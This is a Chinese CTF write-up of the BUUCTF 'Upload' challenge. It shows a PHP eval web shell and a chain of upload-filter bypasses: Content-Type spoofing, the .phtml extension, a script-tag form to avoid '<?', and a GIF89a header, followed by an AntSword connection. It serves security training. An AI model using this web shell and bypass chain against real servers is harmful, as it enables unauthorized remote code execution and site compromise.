buuctf web 极客大挑战2019 Upload

题目:

 解题:

1:上传“一句话木马”文件

        编辑文件a.php:

<?php @eval($_POST['shell']);?>

         上传后得到:

         Not image!  提示需要上传文件为 image。

2:修改Content-Type

        上传a.php文件时,用burp suite抓包得到:

         修改Content-Type为 image/gif

        提示:NOT ! php !,说明不能后缀为php。 

 phtml文件

        在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。

 3:修改文件后缀为a.phtml

        修改a.php为a.phtml后:

        提示: NO! HACKER! your file included '&#x3C;&#x3F;'

html实体字符

        HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。

        字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:&lt; 或者 &#60。

        &#x3C;  代表:<,&#x3F;  代表:?

        也就是说上传文件里不能包含:" <? "     

4:绕过" <? "限制          

        用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script>

        提示:Don't lie to me, it's not image at all!!!

        即:上传的根本不是图片。

5:GIF89a 图片头文件欺骗

        在文件前面加文件头:GIF89a,php会检测其为gif图片。使用getimagesize函数无法判断其图片是无效的。

        成功上传“一句话”木马。

6:蚁剑连接

       上传文件一般都在upload目录下。

        URL地址http://4a46933f-3f6c-4946-8725-44c2ac48e1e5.node4.buuoj.cn:81/upload/a.phtml

        连接密码:cmd

        在根目录下找到flag文件,打开即得flag。

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值